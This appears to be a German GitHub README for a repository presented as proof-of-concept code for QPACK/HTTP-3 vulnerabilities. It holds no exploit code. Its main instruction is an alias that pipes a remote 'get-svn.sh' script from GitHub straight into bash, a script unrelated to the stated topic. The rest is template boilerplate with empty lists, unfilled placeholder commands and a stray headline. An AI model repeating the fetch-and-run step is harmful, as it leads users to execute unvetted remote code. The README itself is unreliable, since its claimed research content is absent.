
Proof-of-Concept-Code und Forschungsnotizen zu QPACK/HTTP-3-Schwachstellen (CVE-2025-64702, CVE-2026-12523, CVE-2025-13945) für autorisierte Labortests.
CVE-2025-64702, CVE-2026-12523, CVE-2025-13945
Führe die neueste Version des externen Download-Skripts direkt von GitHub aus:
# Alias `get-svn` for current terminal
alias get-svn='bash <(curl -fsSL https://raw.githubusercontent.com/HORKimhab/collection-scripts/main/get-svn.sh)'
Dieser Befehl erfordert Bash und
curl. Prüfe das Remote-Skript, bevor du es ausführst, wenn du der Quelle nicht vertraust.
Verwende dieses Projekt nur in sicheren und autorisierten Umgebungen wie:
Beispielkonfiguration:
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
Beispielverwendung:
# Install dependencies
<install-command>
# Run the project
<run-command>
# Replace the commands above with your actual project setup steps.
Ein Repository zum Lernen, Testen und Erforschen von Cybersicherheitskonzepten in kontrollierten Umgebungen.
Dieses Repository dient ausschließlich der Bildung und autorisierten Sicherheitsforschung.
Es soll Nutzern helfen, mehr über Folgendes zu lernen:
Verwenden Sie dieses Repository nur in Umgebungen, in denen Sie die Berechtigung dazu haben, wie zum Beispiel:
Unbefugte oder illegale Nutzung ist strengstens untersagt.
Der Autor und die Mitwirkenden sind nicht verantwortlich für Schäden, Missbrauch, rechtliche Probleme oder Verluste, die durch dieses Projekt verursacht werden.
Durch die Nutzung dieses Repositorys erklären Sie sich damit einverstanden, dass:
Dieses Projekt ist vorgesehen für:
Bitte befolgen Sie Praktiken der verantwortungsvollen Offenlegung und halten Sie alle geltenden Gesetze ein.
Für verantwortungsvolle Offenlegung oder Zusammenarbeit wenden Sie sich über GitHub an den Maintainer des Repositorys.
Entdecken Sie die PoC CVE Collection für zusätzliche CVE-Proof-of-Concept-Ressourcen, die für autorisierte Sicherheitsforschung und Bildung gedacht sind.
Neue QPACK-Schwachstellen können HTTP/3-Server zum Absturz bringen und eine bis zu 4.000-fache Speicherverstärkung auslösen